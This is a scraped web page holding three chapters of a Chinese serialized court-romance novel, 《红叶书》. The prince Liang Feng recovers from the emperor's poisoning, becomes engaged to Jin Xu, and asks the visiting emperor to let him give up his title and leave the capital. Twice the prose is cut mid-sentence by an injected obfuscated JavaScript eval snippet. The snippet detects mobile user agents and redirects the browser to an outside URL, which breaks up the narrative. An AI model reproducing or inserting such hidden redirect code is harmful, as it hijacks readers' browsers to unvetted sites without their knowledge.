敬先道:“你今日见了客,在外人看来你至少已经脱离危险。之后皇帝大概会召你进宫,你相当于握了皇帝把柄了,你得想想该怎么应付,想好之前先称病不赴。” 梁风明白,“我知道。” 与義补充“可能还有游相,为了还陈高清白,游相目前没有放弃调查这件案子,会向皇叔询问当时中毒的前后细节。” “好,我知道了。” 说得差不多了,李晟这时提醒梁风该休息了。与義和敬先也不多留,看着梁风的精神状态便告辞离去,留下一堆药材补品。 梁风倒没觉得很累,反而有些饿,起身寻她去。 还没进门便见她在房内走来走去,梁风唤了声:“阿絮。” 她应一声,已经备好简单饭食。 每日吃食的肉类增多,他也逐渐有了胃口。梁风一边吃一边和她说刚才与義和敬先告诉他的事。 她问那晚和皇帝吃晚饭的具体是怎样经过,梁风一一告诉她。她听完道:“毒性猛烈,发作极快,致死却能慢一步。他要亲眼看着你毒发,还要耽搁你一会儿,确保你不会被救活过来。” 梁风默默点头。 “同时除去两个人,还想把自己摘干净。你现在知道了皇帝的态度,还想离开京城吗?” “我想离京不是出于皇帝的考虑,而是你。” “可我现在不是这样考虑了,你不是说你感受不到我在乎你吗?” “现在我感受到了,你不需要妥协让步。”梁风翘鼻子,“我也算有了皇帝一个把柄,我可以要求他放我离京。” “把柄?”金絮像看傻子一样,“如果皇帝不放你离京,你打算将皇帝下手毒杀你的事情告诉谁?告诉相府?相府会为你一个诸侯王做主?相府能怎么做?难道能把皇帝关入大狱?这在你看来是把柄?” 梁风的鼻子垂下去,勺子戚戚搅弄粥水。 “你只能不声张,既不指认皇帝,也不认定是陈将军意图毒杀你,你保持沉默,把委屈吞到肚子里。”她道:“陈将军有何冤屈也只能由别人替他申了。” “那我和皇帝打商量,只要他放我离京,我就此生不再同任何人提及此事。”暗杀手足这种事情皇帝不会愿意被写进史书里吧。 也可能无所谓。 “不可能。交换条件才能离京,这样消除忌惮的方式皇帝不会喜欢,他要的是你整个人全身心妥协,不能有一丝一毫讨价还价的念头。” 梁风垮嘴皱眉,执着地搅粥,勺子越搅越快,粥米浓稠地黏糊成一团。 金絮捏捏他嘴角的肉。梁风道:“那就不作为把柄,我就说我不知道是谁试图下毒害我,就说我对这朝廷心灰意冷,不愿再涉足这些争斗,我也玩不来,希望皇帝罢黜我的王位,允我留得一条小命。” 他坚定道:“这取决于我态度如何。” 她还是摇头,“这一次皇帝杀你不成,已经打草惊蛇,怕你触底反弹,肯定在盘算该如何再彻底杀你一次,不可能放你离京。” 梁风郁闷不乐,才刚冒头的胃口也没了。 “皇帝这么多年始终十分忌惮你,因为你有军心。皇帝拿着兵权,但军队实际不在他手上。” “不。”梁风反驳:“我早已没有军心了,在我交出兵权前就没有了。没有一个士兵会追随一个优柔寡断的将军,何况那是一群最初入伍时就是为利而不是为保家卫国的农民兵和匪兵,心中没有那么多大义。” 她对于接触不深的事情想得也很美化,梁风挺喜欢,但心里还是很郁闷,他拦腰抱住金絮,贴贴她的脸,“你信任我,但我没那么厉害了。我想试试看。” 她对贴贴无动于衷,“如果再试你没命了呢?” “不会的。既然已经打草惊蛇,往后我会很谨慎的。” 往后出门一定随身佩刀。 215. 《红叶书》(一三五) 他的刀去了哪里? “你要依着我。” 说理不过,他开始撒娇了,这是绝招。 金絮却噤了声。 “我就这点念想,你往后要开心,要过上梦寐以求的日子,我是这样想的,你却放弃了。” 噤絮。 “我是病人,想着你夜里睡觉都睡不好,你不心疼我了。”梁风弯着腰往她怀里缩,哼哼唧唧。 噤絮。 “你不说话,你就是不愿依着我。” 噤絮。 “你说过希望我的撒娇管用的。”梁风使出杀手锏。 她开口:“撒娇有没有用是另一回事。” “事情在我身上还分这一回事和那一回事吗?” 她起身欲走,梁风拽了一把,将她拽回来,一下坐到他腿上。 这个姿势正好,梁风钳住双臂,牢牢抱住,更适宜地往她怀里缩。 “反正你得依着我。大约这两日皇帝就会召我进宫去了,我在皇帝面前怎么说你又管不着。如果皇帝要斩草除根,我就趁你睡着时偷偷送你出府去。” 金絮一根手指点他额头,“你敢。” “我有什么不敢的。”梁风脸贴着她的肩膀,逞道:“那晚我进宫就和皇帝说过了,我说王府用度有些紧张,缺钱财使,皇帝问我为什么,我说是因为府里好几个下人欲请辞归乡养老,我给他们打发了不少钱财归乡。如果真的出事,我就把你当做王府归乡的下人送出去,完全不会引起皇帝警觉。” “你倒是都想好了。” “没错。” “那也不用你送了,我现在就搬出王府。” 她作势要从他腿上下来,梁风下意识抱牢,脸贴着她的肩膀,双臂紧紧的,不看她,也不让她看自己。 她叹气,最后道:“让我想想吧。” “最多想一天。”他竖起一根手指。 怕她当真溜了,梁风一整日缠着她,手就没有离开过她身上。不是抱着,就是拽着,不是拽着手臂,就是拽着衣服,反正金絮不能离开他的视线。 她起初会扒拉一下,后面扒不掉,索性由他了。 他捻指道:“你的腰瘦瘦的。你喂我吃饭,你也要多吃点。” 瘦得精细,完全没有力量。晚上吃饭的时候梁风给她夹几块莲藕蒸鸡,堆得满碗。她安安静静地只顾吃饭,对自己的腰如何不置一词。 睡前,金絮照旧守他入睡。梁风睡着后恍惚间被一阵空落落的感觉惊醒,睁开眼来没见着她,扯过枕头和被子寻去她的床上。 枕头拼在一起,棉被叠在一起。钻进她的被窝,想着有礼地保持一点点距离,于是和她相隔一拳躺下。金絮却沉默无言地翻了个身,打消了一拳的距离。 这一夜,安心地睡了个好觉。 醒来时她还没醒,梁风板板正正地平躺着,和她隔了一个身位的距离。 金絮面朝他,半张脸埋在枕头里,头发胡乱蒙了一脑袋,露出被子的肩头衣襟位置有点乱。很显然,她睡得不如他老实。 梁风念起,替她搂搂被沿,翻身悄悄挪过去,压住她的头发,听她的呼吸,偷偷摸摸地往她腰上搭手。 手掌搭上的一刻,她动了,抬手反搭上他的小臂,轻轻将他推开,梁风就势被她推成了平躺,或是按成了平躺。然后她蜷缩身体,脸往枕头里埋得更深了。 梁风愣愣的,仔细看她的脸,她确实还在睡,呼吸均匀绵长,睡得很熟。 梁风莫名其妙。 再躺了一会他才起身,兴致勃勃地准备早饭。 备了一桌她爱吃,再暗戳戳地藏了一小碟他目前还不能吃但是馋了很久的炸鱼肉,特特摆在自己面前。 备好早饭她便醒了。看着她洗漱毕,梁风牵她餐桌前坐下。 她屁股还没挨着,梁风刚拿起筷子,金絮一个俯身端走了那碟炸鱼肉,放在了距他最远的位置,然后摆一碗粥到他面前。 梁风不吭声,眼珠子溜转到她脸上,不见一点生气样子,老老实实地拿勺喝粥。 一边喝粥一边走神地看她,空闲的手抱住她的腰,见她没有说不能抱便开始了质问:“你睡着时会防着我?” “不会啊。” “你防我了。” “我怎么防你了?” “我向你靠近些,你把我推走了。”梁风强调:“你甚至都没醒来,眼睛都没睁开,你熟睡的时候都会防备我。” “不是防你吧,我应该是在调整你的睡姿。” 是吗? 调整他的睡姿?梁风心里一哼,觉得她说得大错特错。 “我一晚上没怎么睡,光顾着摆正你的睡姿了。” 梁风刚哼起来的气跟着就消下去。 “快到天亮才睡着,结果你醒了,又闹得我不好睡。” 梁风偷偷瞧她一眼,看见她眼底的黑色,没有底气地问:“那你想得怎么样啊?” 她一晚上都在想要不要离京的事吗? “一定要离京吗?” “嗯。”他斩钉截铁,“一定要离京的。” “那好吧,随你心意吧。你也说了,出什么事情两个人一起面对。” 她松口了,梁风嘴角顿时勾得飞起,被依到了,很满足,很开心。 “说好了哦,如果皇帝同意离京,我们就需要详细列个计划,如果不同意,我们也需要详细列个计划。” “嗯。” “你很依我。”梁风眉眼弯弯。 “嗯。我太依你了。” 万物复苏,天地间骤然充满朝气,梁风兴致勃勃,他必须尽快好起来。 他开始锻炼身体,晨起打一套轻拳,养气调息,舒展几乎快被药物黏在一起的四肢。 软骨散逐日排出体外,他明显感觉肌肉恢复了一些力量,日常做事没有阻碍了,只是无法回到从前。 李婶让他多吃橘子,金絮便每日喂他三个橘子,并约定早中晚各一个。 金絮每每被他抱在腿上喂他吃橘子。 整日里搂抱多了,他这两只手,顺其自然成了她腰间的挂件。搂腰很方便,既能抱着她,又不妨碍喂他吃橘子。 只是他隐隐有种感觉,再这么被她纵容下去,如果有一天不能搂着了,他要怎么办。 会有不能搂着的一天吗?虽然这样想着,也无法让他把手松开,反而更加心神惴惴地环抱圈紧。 两天过去,皇帝的旨意还没下来。 他感觉有点不妙,皇帝不知有什么盘算。也或许没有盘算,仅仅是不知道怎么面对他。 想不明白的事情会令舒展开的关节筋脉再次赌住。晚上坐在床上,金絮给他盖好被子熄灯,他心焦得烦躁,唰地掀开被子,用脚踢远,一点都不要沾到自己身上。 金絮回头看见了,拉来被子给他的肚子盖上一角。 梁风唰地又掀了。 “好,随你。” 她也上床睡觉,棉被只给自己盖。 四月,夜里乍暖还寒,梁风一点也不觉得冷,不觉得。 他睁着眼睛试图睡觉,脑子却愈发清醒。东想西想,想她和王府如今的处境,想下一步该怎么走,想到了身边所有人,谁能提供助力,谁需谨慎堤防,想身边留下的五名暗卫如何调派,还有她在太南的小姑娘如何安置,还有林童忆。 梁风眉头一皱,睡不着了。 姓林的在脑子里太过碍事,心头一时气起,钻进她的被窝,双手双脚抱住她,压着她的头发。 金絮也没有睡着,也不动,由他抱着。 梁风哼哼唧唧,慢慢地什么也不想,睡着了。 他得承认,他确实变得情绪不稳定了,明明身体已经见好,但就是会生许多以前不常生的情绪。养好伤应当就不会了吧。 醒来却没有看见她。 床畔空荡荡,梁风着急一摸,她不在棉被里面。 他想下床,一转头却看见她趴在窗边看日头,衣裳还没换,像是也才醒。 手脚停住,呆呆看着她发怔。窗外虫鸣鸟叫唤春天,清晨的阳光照着她,乱蓬蓬的头发变得金黄,一切缓缓自在。 这很符合他想象中住在那座山谷里的样子,木做的屋子,早晨也有阳光照进来。脑海画面中有了切实的她的存在,梁风已经无法想象没有她会是怎样可能。睡梦中骤醒的空洞被填满,眼前光耀熠熠,五彩缤纷。 金絮听见响动回头,梁风向她张开双手。金絮走来抱他入怀。 “我很黏你。” “嗯。” “你会不会烦?” “不会。” “以后会不会?” “不会。” “如果烦了呢?” “不会。” 梁风扎实地往她怀里贴,“你不能太依着我,但你得依着我。” “好。” 嘴唇擦着她的衣襟,梁风磨磨蹭蹭,亲亲她。 但还有件事情想说。 有必要认真和她说一下,梁风正色道:“我只黏着你一个,可你不止黏着我一个。” “我还黏着谁了?” 梁风张嘴,又闭上,口舌艰难道:“林童忆。”他老大不愿意吐出这仨字。 “林公子又没有黏着我,我更没有黏着林公子。” “叫他姓林的。”梁风指指点点,“你看看你和林童忆是什么关系,这人可以随意进出你的屋子。” “瞎说,林公子不能随意进出我的屋子。” 梁风不管,“你得和这人分开。” “行。”她痛快应了,“前天林童忆倒也有信送来,想约我见个面的。” 居然背着他偷偷收了一封信。梁风紧抿着嘴,默默盯她。 她进屋修书一封,托十三送出府去。梁风问道:“你是在信里和姓林的说你要和他决裂,往后余生再也不见吗?” “当然不是,我就说答应和他见一面。” “你想和他当面说。” “嗯。”金絮瞧他的脸色,梁风脸色不好。他想起之前林童忆十分把自个当回事地和他说有些事情必须听她当面讲的嘴脸,可嘚瑟了,他还不曾在林童忆面前那么嘚瑟过。 “你可以一块去,但是不露面,我有话单独和他说。” 梁风抿嘴不说话。金絮亲亲他,“我会告诉林童忆我如今住在王府的。” 梁风还是不开心,明明信里说就够了。 “你远远看着,和他说完话我就走过来牵你的手,好吧?” 梁风想说不好,但是点了点头。 信里约的是明日。梁风继续缠她一整天。 隔天,到了约定时辰,她简单换了衣妆,给他披了挡风防寒的大氅,牵着他去见林童忆。梁风在大衣内侧腰胯上别了把短匕首。 这是他苏醒后第一次外出,见的人居然是那个姓林的。 梁风小肚鸡肠,一路叮嘱她要对林童忆凶一点,别那么客气,她可是凶过他呢,不能不凶林童忆。 金絮嘴上应得好好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839950|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到了地方,是城内湖边。 湖上两三点船只,双双对对的男女搭伴同游,互相耳语私话。金絮看顾一圈,见岸边柳下石凳上,坐着一个人。梁风也看见了,林童忆竟早已在了。 姓林的没看见他们,她让梁风隔远坐在街边的茶铺,点了一壶茶,结了账,但是叮嘱他不能喝茶,然后独自向林童忆走去。 梁风被安排得好好,目送她。她还没走近,林童忆便注意到她,欢欢喜喜地说起话来。 两个人并肩坐着,虽然中间礼貌地隔着距离,但是并肩坐着。 听不见说了什么,只能见到湖边清风缓送,杨柳依依,春风都显得格外柔软起来。 柳条仿佛随风带起幸福的气氛,柔和了日光,仿佛气氛里的任何人都能显出心贴心的萌动来。 那气氛像针刺进眼睛里,梁风酸得冒泡,牢牢瞪着姓林的那张嘴脸。 他这里反而看不到金絮的表情,两个人也不知道说了什么,姓林的脸上逐渐变成苦苦又无奈的笑,却仍然用一种营造气氛的目光看着她。 梁风心底一哼,幸灾乐祸。 谈话很快结束了,金絮起身微礼道别,轮到林童忆目送她。 她一直走到面前,梁风和林童忆的视线对上,他勾来一只手与她十指相扣,狠狠地警告过去。 他拽着金絮赶紧离开,她也想回头看,梁风把她拽回来,“不许回头看,快走,免得这人追上来。” 她还是看了一眼。走远几步,梁风也回了个头,湖边柳树下的石凳上只剩一柄折扇。 他多少放了心,忍不住埋怨:“你怎么对这人那么有耐心。” “林公子又没做错什么,从前也给温柔馆提供了不少帮助,帮了我很多,干嘛对他那么不耐烦?” 梁风哼:“你对谁都好,就会凶我。” 她不反驳。 “说不出话来了吧。” “那是以前了,你要和我翻旧账?” 梁风心里不平衡,当街嚷嚷:“我不是要和你翻旧账,而是你对谁都好,却只会凶我。” 她不介意他在街上嚷嚷,也不阻拦。梁风为自己伸张正义道:“你觉得难过,心情不好了,你可以向我宣泄情绪,想哭想笑想发火都可以,但是不能只对我坏,却对别人好。你可以在我面前任性一点,但是不可以凶我。” 她饶有意味问:“你怎么区分我是凶你还是在任性?” 梁风思绪一顿,想了想。 她钻到空子,“分不清了吧。” “才不是,分得清。”梁风笃定道:“你没有和我任性过。” “噢,是的么?” “对。你不会和我任性,而且你不会有需要和我任性的时候。” 她挑眉,“是么。” “是的。” “那我们以后能不能翻旧账?” “可以。”轮到他得逞了,“因为如果以后有需要翻旧账的时候,能翻旧账的人只有我,你翻不了。” 她再挑眉,“是么。” “是的。” 梁风牵她回府,搭桥的手臂晃来晃去。 “我只有你哦,你也只有我。” “我只有你,但你不只有我。” 他想到李婶和老李,还是道:“我就是只有你,你也只有我。” 她没了话,梁风宣布大获全胜。 肩并肩,手牵手,携手相伴,风和日丽,他的心情很好,感觉整个世间万事万物都能遂他心意。 回到府中,跨过门槛,周围没了路人杂乱的投注,天地间只有两个人。梁风问:“你愿不愿意和我成婚?” 她一愣,诧异道:“这么快?” “我想向皇帝求旨赐婚。”梁风老实地讲:“我怕夜长梦多。” “多什么梦?” “你不愿意。”他看出她的脸色。 她移开视线。梁风攥紧她的手掌,嘴角一扯,“这么快就不顺我心意了,我开心只能短暂地开心。” “你刚才觉得很开心?” “嗯,转眼又不开心了。”梁风很委屈地说。 进了屋,解下大氅,梁风被她赶着净手。她问:“皇帝决定赐婚之前会听听我的意愿吗?” 手指头一根一根洗,他默默摇头。 洗完了,他拿布巾擦手。 接来擦手的布巾,小缃送来药汤,梁风端好自己喝。 喝完了,梁风被她赶着坐下休息,含着嘴里的苦味,看了看她,又收回视线。 “你这是在向我提亲吗?” “嗯。”他道:“比较匆忙,聘礼单子还没准备。” 他改道:“也可以不准备聘礼单子,反正你愿意嫁给我的话,整个王府都是你的。” 金絮看着他,还不说话。梁风再改口道:“呃、也不是整个王府,我们要是顺利离京,恐怕能带走的钱财不会特别多。” “你愿意吗?”他心里虚。 她点头,“成吧。已经决定和你在一起了,成不成婚没有太大区别。” 虚虚的心脏空落落地坠了地,梁风抱她坐在腿上,紧紧抱着,增加踏实的感觉。 “阿絮。” “嗯。” 金絮也回抱他,梁风在她怀里喜笑颜开。 “区别可大了。” “好,区别可大了。如果皇帝不同意怎么办?” “求到他同意为止。”梁风眉眼弯弯,笑道:“离京的时候,我会尽量安排多带点钱财。” 216. 《红叶书》(一三六) “皇帝或许不会赐婚吧。” 梁风不答话,只顾在她怀里蹭蹭。 她都明白的。 他成婚是迎娶王后,按理说,他娶什么人当然不需要经过朝廷同意,只需要父母做媒。但他目前身在京城,父母双亲俱不在,他的婚礼就得交给九卿置办,也就需要知会皇帝了,然后走仪式,敬告双亲。 金絮对外都说是从良的风尘女子,这门婚事要想经过皇帝同意确实不容易。加上皇帝想利用他的婚姻,更加不容易了。 “反正我们在一起,有任何阻碍我们一起面对。” “嗯。” “你的意愿是最重要的,成了婚的话可就不许反悔了。” 金絮捏捏他的脸颊,“我做的任何决定从没后悔过。” 梁风被她扯得发笑,一笑就开心,一开心就想笑。 “那也不等皇帝了,明日我就进宫请旨去。” 她还没反应过来,梁风说干就干。他当即去书房写折请旨明日进宫,再让老李去府外找人画一副女子画像来,最好今日之内画毕。 折子送进宫里,不出一个时辰便有回旨。 太监携带旨意宣读,代皇帝聊表慰问。陛下拒绝了他进宫的请求,却说明日午后亲自出宫,摆驾王府,特来看望安分王。 梁风镇定接旨。待太监离去,转头急忙和阿絮商量明天的说法。 “怎么办?怎么办?”梁风忍不住有点慌张,“你得躲起来,不可以让皇帝见到你。” “我知道。” 她是当真冷静,翻来覆去看看圣旨,颇稀奇,思索着道:“你的说法可以表达得委婉一些,昏君若是问你身体如何,你就说恢复得很好,多亏了昏君早年对你的栽培。如果不是因为你从小习武底子好,恐怕这一劫就交代过去了,而你习武的机会是昏君给你的。” 梁风抱着她,垫着她的肩膀,认真思考。 “这话要在谈话最开始的时候表达出来,昏君肯定没想到,你差点被他杀死,喘过气来居然还要感谢他,他会立马明白你的意思,他会明白你想将这件事情含混过去的。这能决定你和昏君后续谈话的走向。 “你恢复得很好,李婶都感到惊讶,那昏君更不可能无动于衷。 “狗皇帝或许会带太医过来,也可能不会,但一定会问及李婶,问你这是从哪里找来的神医,你想想怎么作答。” 她滔滔不绝,梁风边听边记,叫了李婶和老李过来,一起计划。 她从梁风腿上下去,问道:“李婶行医多少年了?” 李婶顺路过来换药香,药杵捣着药粉答道:“许多年了。我八岁起学医,十三岁便跟着师傅问诊抓药,至今已有四十年。” 梁风略一算,道:“来王府也有十三年了。” 李婶也要算一算,感叹道:“是啊,一回头竟也有好多年了。来到王府后,日子安稳得叫人忘了记数。” 梁风笑笑,和金絮说:“不用作假,我就说李婶是我长大后上京第一次出征,凯旋路上遇到的神医,看她落魄便收留到府中。李婶医术高超,这次救我一命。” “神医啊。”李婶听见反倒笑了,“年轻时也曾自负过,后来我的丈夫和孩子没能活下来,往后便不这样说了。区区一点针灸术,能救几人便救几人,不敢当神医。” “那就说是针灸大师吧。”她提议:“如果皇帝只是略略一问,你就按你说的这样答。如果皇帝问得更细,你就说,你将李婶收入府中后,这十三年里,不惜花大价钱购置许多医书给李婶看,且让李婶有机会和京城内各大医馆的大夫切磋医术,李婶如今一手针灸术也是这十几年里慢慢磨练出来的。” 她看着李婶继续道:“然后李婶补充说您和王爷的初遇,您就说王爷凯旋那年路上不小心崴了脚,是您给他施针医治,王爷十分认可您的医术,询问您是否愿意做王府的医师。” 梁风觉得妥当,李婶点头应下来。 “李婶,你写一张假方子以备皇帝检查吧。”她道。 李婶也点头应下来。 “皇帝还会说什么话?”他问。 军师却摇头,“猜不到了,剩下的你随机应变吧。” 梁风颔首,心里有了些准备。 军师说:“今晚早点睡。” 梁风听他的军师的,按时喝了药,天黑不多久便早早爬到床上,拽着他的军师在怀里,一起睡觉,腻腻歪歪了好久才睡着。 醒来天已经亮了,梁风吃了早饭跑到镜子前,摸脸自照,提议道:“我是不是应该憔悴一点比较好,现在看起来是不是太精神了?就不喝药了吧。” “不行。” 一碗药端来,梁风乖乖地喝了。 金絮陪他一直等到午后,吃过饭她便自躲去王府深处一间十分僻静的院子。梁风被她安排着晒太阳,百无聊赖地等皇帝。 夜里睡得多,午时倒不困。梁风自己剥橘子吃,剥到第三个,皇帝终于来了。 他正色端坐厅堂,手边是一堆橘子皮。门外太监传报,老李出外迎接。 红黑色的衣裳划过窗棱,出现在门外。浓郁的柑橘味道盈室,梁风气定神闲,起身弯腰行礼,见过皇帝。 皇帝道免礼,上下打量他,似笑非笑,“看来恢复得不错。” 梁风也笑,“谢陛下挂怀。” 皇帝上首就坐,梁风道:“大夫说臣弟身体底子好,险险捡回一条命,只是往后体虚力弱再不似从前了。” 皇帝摆手,“话不可说满,你尚年轻,好好调养也不会落下病根。朕带来了太医。” 随同太医出列,欲为梁风请脉。梁风躬身又礼,“谢陛下。” 太医从随身药箱掏出一应东西,沉吟把起脉来。 梁风道:“承蒙陛下早年养育栽培之恩,臣弟若是不曾幼年习得武,恐怕身子骨撑不住这场劫难了。” “是。”皇帝道:“是算一劫。” 梁风低头看着太医把脉的指尖不说话。 “朕听说你苏醒后便一直想来看看,但朝中事务繁忙又虑及你初醒尚需调养,便不曾传旨。直到与義跟朕说起,他说皇叔恢复良好,十分欣喜,朕才决定亲自出宫看看。” 梁风低头示意,“劳陛下挂心,臣弟心中感激不尽。但此等小事,实不需劳烦陛下亲自出宫。” “这怎算小事。朕听说,你昏迷期间你的家仆死守府门不开,任何人都探望你不得,朕还担心你濒危,连个太医都叫不进去。” 太医收了手指,梁风忙下跪道:“望陛下恕罪。臣弟家仆也是为了臣弟着想,他们怕臣弟又不知遭何人暗害了去,便严防死守,不到臣弟苏醒便不放开大门。” “你可知何人暗害了你?” 梁风端着手,身子更俯下一点,佯充点头道:“臣弟不知案子是否查明。” 皇帝道:“起来。” 太医这时起手道:“回陛下,安分王殿下身子已无大碍,余毒尽清,后续多注意调养休息,不可劳动,不可窒息,多吃流食软食,臣为殿下开张方子,一日三副,最多半年可调养回毒伤前的状态。” 梁风边听边坐回去,皇帝听完和他说:“你将你最近吃的药方子拿来,给太医看看。” 梁风看了老李一眼,老李得意便去取了方子来。 太医看罢他的方子,却说其中有一味药用得不妥,提醒梁风可作更改。 老李当即记了,梁风转头向陛下道谢:“府中大夫医术不精,多谢陛下,多谢陈太医。” 皇帝提醒太医:“你去将你的方子也写来吧。” 太医便随同老李去写方子,剩下梁风和皇帝两人。 梁风尽量让语气显得真诚,道:“陛下,臣弟这回鬼门关走了一遭,许多事情都已看淡,无心究责到底是谁试图暗害我,过去的只想放他过去。” 皇帝的视线扫来,“你愿意既往不咎?” “是。”梁风轻声感慨道:“即便养好,身体和心境都大不如从前。不论试图暗害我的人出于何因,臣弟都不愿再参与纷争,只想偏安一隅,过清闲自在的日子。” “清闲自在?”皇帝语气意味不明,“你能如何过得这样的日子?” 对话进行得十分顺利。梁风站出再次跪下道:“臣弟甘愿免除诸侯之位,成为庶人,望陛下准允。” “庶人。” 皇帝看向殿外,目光却不知落于何处,“如今不算偏安一隅。你离了京想去何处?” “何处都好。天南海北,走走停停,闲适散漫一些,臣弟想找找小时候的心境。” “小时候。” 皇帝双手缓缓合拢,右手转着左手拇指的扳指,沉吟慢道:“下毒之人,陈高,已经在狱中自杀。你哪怕既往不咎,该清算之人也已经死了。与義应当同你说过。” 梁风低头,“是。七皇子殿下曾同臣弟说起下毒之人是陈高,但臣弟不确定是否当真是陈高。” 他还在跪着,皇帝却不说话了。趁着这一间隙,梁风捉紧道:“除了离京一事,臣弟还想请陛下赐婚。” 皇帝似乎回神,看着他又是似笑非笑,“你说吧,是谁啊?” 梁风一喜,忙道:“臣备了她的画像。” 梁风急急起身,拿起书案侧边放的一卷画轴,打开来道:“陛下昨日来旨,臣弟便提前备好了她的画像。她原姓为李,是良籍女子,祖籍在南方一座小县城。因家中穷苦,自小被父母贩卖,一路辗转到了京城,不幸沦落风尘,失去家姓。两年前,她自我赎身从良,在京城做点小生意,有了自己的铺面,能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839951|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自食其力。 “臣弟一直想和她在一起,但她碍于我和她之间巨大的身份鸿沟始终不愿意。直到臣弟经此一遭,她才愿意同臣弟在一起。臣弟便想放下京城的一切,带她回家乡看看。” 皇帝沉默看着画像上平平无奇的女子,耐心听他说完,“你为了一个女子甘愿放弃爵位?” 梁风听得出这语气底下暗含的惊异,认真道:“是。臣弟所求只有这一人。我喜欢她好多年,她如今终于心意动摇,我不想辜负她。望陛下恩准。” 皇帝沉默再沉默,梁风等了半晌,皇帝从画上收回视线,道:“婚事能允。” 梁风忙问:“陛下,可允许臣弟罢去爵位?” 婚事不是最主要的,关键是免去王位,只要他自由了,谁也管不到他的婚事。 “容朕想想吧。” 皇帝起身欲摆驾回宫。梁风忙在身后告礼。 不止皇帝需考虑,而是自愿罢去诸侯王位这样的事情需要三公批准和入皇陵筹措仪式敬告先祖,还要知会燕国那边,当场不能做出决定。 送出门外,皇帝乘上銮舆,和他道:“你先安心养伤吧。” 梁风道礼,目送皇帝浩荡离去。 多少有个好消息。梁风忙忙转身,才跨过门槛一抬头,便见她走来,站在门后不远。 梁风欢欢喜喜抱住她,“你见到皇帝了?” “见了个背影。” “皇帝同意我们的婚事了。”梁风笑嘻嘻。 她风雨不动,“你离京的事呢?” “这件事情没那么容易,不是皇帝一个人拍板能决定的,还要相府大员批过才行。刚才看皇帝脸色,反对意愿似乎没那么强烈。” 梁风搂她进屋,抱她坐在腿上,给她手里放个柑橘,张嘴:“啊——” 她开始剥起来,“我昨晚想了一夜,始终觉得不稳妥,刚才一个人待着时突然想明白了。昏君不可能放过你的,但他此刻被朝堂上那么多双眼睛盯着,极大可能同意你离京,只不过在你离京之后,会有人暗杀你。” 梁风专心看着她手里的动作道:“你大约是不能一个人待着的。” 她自顾道:“暗杀你的人大概会有两批,也可能不止两批,但在第一批人没杀死你时一定会有第二批人出现。” 她喂进他一瓣,“朝堂上的人会揣摩皇帝意思,他们知道皇帝想杀你,而皇帝自己无法直接下手。他们为了邀功,会在你离京之后暗中将你杀掉,除去皇帝心头大患。所以第一批杀你的人不是皇帝派出的,而是皇帝默许放任的。第一批人没杀死你,后面再刺杀你的人中才会有皇帝的人。” 梁风仰脸嘟嘴,“亲亲。” 金絮面无表情俯视他一眼,“我的话有听进去吗?” 梁风就嘟,金絮亲了,他也剥下一瓣喂她,“听进去了。” “我也有计划,我的婚事和退让诸侯王位都不是简单的事情,各方同意后,各项仪式和告请先祖都需时日准备然后进行,我们有充足的时日应对刺杀。” 梁风道:“我简单想了一下,我想将离京的日子选在成婚当天,到了那天晚上,府里的人包括你,分批离开。后续我会计划好你们每批人去往山谷的路线。到大婚前的这段时日,我们要将我的月俸攒下来,你们分批离开时将月俸一起带去山谷。我会在京城留多一月左右,或者半月,然后我也会走,等我躲过了刺杀,我去山谷找你们汇合。” 她思索着,自己吃完了橘子,不喂他了,问道:“按你打算,我们会分别离京去往山谷?” “对。”梁风又给她一个橘子,“我不想让皇帝知道山谷的位置,不能让皇帝找得到我。” 她把橘子放回去,“你今天吃的橘子够多了。” “你想将刺杀的火力全集中在你一个人身上。”金絮看着他认真道:“不是说发生什么事情两个人一起面对吗?” “这样的计划也是一起,只是我们分头行动。” “哦,分头行动。”她面无表情,“也就是说,你如果在刺杀路上死了,我可能根本不知道。” “我不会死。”梁风和她脸颊贴贴。 “你的身手不如从前了,多方刺杀之下你能活命?” “正是因为我的身手不如从前,我就更要保证你的安全。我会将十三派在你身边。” 她的脸很冷,语气更冷,“以后我有的是旧账和你翻了。” 梁风嘻嘻笑,死皮赖脸,“那先约定好,我们之间不许翻旧账,有什么话当下说清楚。” 金絮垂他一眼,然后移开目光看向外面。 “跟你成婚,我就变成这也不行那也不许了。” 梁风心情微变,将她的双手环抱自己,往她怀里缩,“不能反悔了,不能反悔了。” 217. 《红叶书》(一三七) “可以翻旧账。” 梁风推推她,想让她看过来。 “你是因为可怜我同情我才和我在一起的?” 她不搭理。梁风低头,做罚似的掐掐她的腰。 会被自己的念头搞得很委屈。 她无奈开口:“不是。我是因为把你放在心上我才和你在一起。” “你是因为我想听见你这么说你才这么说的?” “不是。我是自己想这么说才这么说的。” “你从前不在乎我就是因为我会妨碍你,你没有决定好就不应该答应我。” “决定好了。” “可是你觉得和我成婚很亏,你要变成这也不行那也不许了。” “这又不是做生意,亏不亏损,盈不盈利,不是这样可以衡量的。” “那你以后不许这样说。” 金絮抬手,掐住他的脸颊,往两边扯,“我既然答应了,就说明我愿意为了和你在一起而舍弃些什么,我也会担心你。” 掐完她又揉一揉,道:“别想那么多了,安心吧,眼下最主要是将身体养好。” 梁风听话点头,有被安抚到。他一定还处在情绪不稳定的状态中。 除了养身体,接下来的每天都有事情干了。 他得画一张地图出来,有了地图才好规划路线,他还得写聘礼单子,同时放出暗卫探听朝堂动静,以备随时应对。 